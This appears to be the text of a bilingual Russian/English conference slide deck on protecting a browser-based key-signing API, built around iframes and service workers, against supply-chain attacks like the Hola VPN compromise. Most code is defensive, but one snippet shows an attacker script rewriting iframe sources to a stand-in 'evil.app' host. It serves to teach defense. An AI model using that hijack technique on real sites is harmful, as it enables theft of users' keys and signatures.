Vsevolod Rodionov, tech cutup
@jabher
Upon installation or autoupdate, it would exfiltrate credentials for sites including amazon.com, live.com, github.com, google.com, myetherwallet.com...
После установки или обновления оно начинало похищать реквизиты на сайтах amazon.com, live.com, github.com, google.com, myetherwallet.com...
POPULAR CRYPTO SERVICE MYETHERWALLET HIT BY ATTACK AFTER HOLA VPN GETS HACKED
ПОПУЛЯРНЫЙ КРИПТОСЕРВИС MYETHERWALLET БЫЛ АТАКОВАН ПОСЛЕ ВЗЛОМА HOLA VPN
Alexey Bogachuk: Vulnerabilities in your application. HolyJS '17 Msk
import {Platform} from
class App
implements Platform {
...
}
interface Platform {
sensitive: never;
getKeys (): Key[];
sign (Data, Key):
Signature;
}
interface PlatformSpec {
requirements: Possible
}
interface PlatformSpec {
requirements: Possible,
browser:
| Chrome | Firefox
| Edge | Safari
}
interface PlatformSpec {
requirements: Possible,
browser:
| Chrome | Firefox
| Edge | Safari,
platform:
| Windows | MacOS | Linux
| iOS<{jailbroken?: false}>
| Android<{rooted?: false}>
}
// https://caller.app
<iframe
src="https://our.app/sign?0xDEADBEEF"/>
// https://our.app/sign
<script type="module">
import {handle} from "./handle.js"
window.parent.postMessage(
handle(location))
</script>
😱 Похищены ключи
😱 Похищены ключи
😩 API не работает
😒 Флуд в API
😱 Похищены ключи
😩 API не работает
😒 Флуд в API
🤔 аргументы или результат раскрыты
Disclaimer: Аудит безопасности не завершен. Все трюки выполнены профессионалами, не пытайтесь повторить дома на проде. Если вы действительно хотите использовать это - сначала свяжитесь со мной лично (@jabher/Всеволод Родионов)
new MutationObserver(ms => {
for (const fr of getAddedIframes(ms))
if (fr.src.startsWith('https://our.app')
fr.src = iframe.src
.replace(
'https://our.app',
'https://evil.app')
}).observe(document.body,
{ subtree: true, childList: true })
const frame = createIframe(frameUrl)
const mo = new MutationObserver(
mutations =>
reject(new InterceptionError))
mo.observe(iframe, {
attributes: true
})
document.body.appendChild(frame)
const {ok, headers} = await fetch(frameUrl, {
integrity: 'sha384-...',
redirect: 'manual',
cache: 'force-cache',
mode: 'cors'
})
assert(
ok
)
injectIframe(frameUrl)
const {ok, headers} = await fetch(frameUrl, {
integrity: 'sha384-...',
redirect: 'manual',
cache: 'force-cache',
mode: 'cors'
})
assert(
ok,
headers.get('Cache-Control') === 'max-age=84600',
headers.has('pragma') === false
)
injectIframe(frameUrl)
//iframe.html
await navigator.serviceWorker.register('sw.js', {
updateViaCache: 'all'
})
//sw.js
self.addEventListener('fetch', event =>
event.respondWith(new Response(`
<!doctype html>
<script>
window.parent.postMessage(
await handle(location)
)
</script>
`)))))
doSomethingImportant = async (...args) => {
...
await notification('confirm?', {
requireInteraction: true,
data: args,
actions: [
{action: 'res', title: 'yes'},
{action: 'rej', title: 'no'}
]
})
...
}
// sw.js
self.addEventListener(
'notificationclick',
({notification, action}) => {
notification.close()
actions.callback(
notification.data,
action
)
})
self.addEventListener('fetch',
event => {
await confirm(event.request)
event.respondWith(new Response(`
<!doctype html>
<script>
window.parent.postMessage(
await handle(location)
)
</script>
`))))})
self.addEventListener('fetch',
async event => {
await confirm(event.request)
const response = await handle(event)
event.respondWith(new Response(`
<!doctype html>
<script>
window.parent.postMessage(
${
JSON.stringify(response)
})`))})
Upon installation or autoupdate, it would exfiltrate credentials for sites including amazon.com, live.com, github.com, google.com, myetherwallet.com...
После установки или обновления оно начинало похищать реквизиты на сайтах amazon.com, live.com, github.com, google.com, myetherwallet.com...
By the time the request gets to fetch, it doesn't know it came from a sandboxed iframe
обработчик запроса в fetch даже не знает, что запрос пришел из sandbox iframe
only allow-same-origin should be required for SW interception within a sandboxed iframe
только allow-same-origin должен требоваться для перехвата запроса сервис-воркером в sandbox iframe
w3c/ServiceWorker/issues/648
OnHeadersReceived
OnBeforeRequest
ПЛАГИНЫ НЕ МОГУТ
<img src="data:image/gif;base64,R0lGODdAAA7"/>
<style>
li {
background: url(data:image/gif;base64,R0lG...);
}
pre {
background:
url(data:image/svg+xml,
<svg xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 1680 590">...)
}
event.respondWith(Response.redirect(
'data:text/html,' +
'<script>parent.postMessage(' +
JSON.stringify(
await handle(request.url)
)
')')))
Похищены ключи
😎 API не работает
работает даже когда сервер недоступен
обнаруживает ряд попыток атаковать
😒 Флуд в API
😩 аргументы или результат раскрыты
как защититься от подмены аргументов в редиректе?
не специфицированная эверистика
+ 20 минут к докладу
как защититься от подмены аргументов в редиректе?
не специфицированная эверистика
+ 20 минут к докладу
как защититься от разглашения аргументов в url?
как защититься от разглашения ответов в postMessage?
отдельная whatwg-based механика
+20 минут к докладу
как защититься от подмены аргументов в редиректе?
не специфицированная эверистика
+ 20 минут к докладу
как защититься от разглашения аргументов в url?
как защититься от разглашения ответов в postMessage?
отдельная whatwg-based механика
+20 минут к докладу
как защититься от DoS?
копировать опыт других
очень специфично для каждого приложения
как защититься от подмены аргументов в редиректе?
не специфицированная эверистика
+ 20 минут к докладу
как защититься от разглашения аргументов в url?
как защититься от разглашения ответов в postMessage?
отдельная whatwg-based механика
+20 минут к докладу
как защититься от DoS?
копировать опыт других
очень специфично для каждого приложения
как сделать API надежнее?
¯\_(ツ)_/¯
Vsevolod Rodionov, tech cutup
@jabher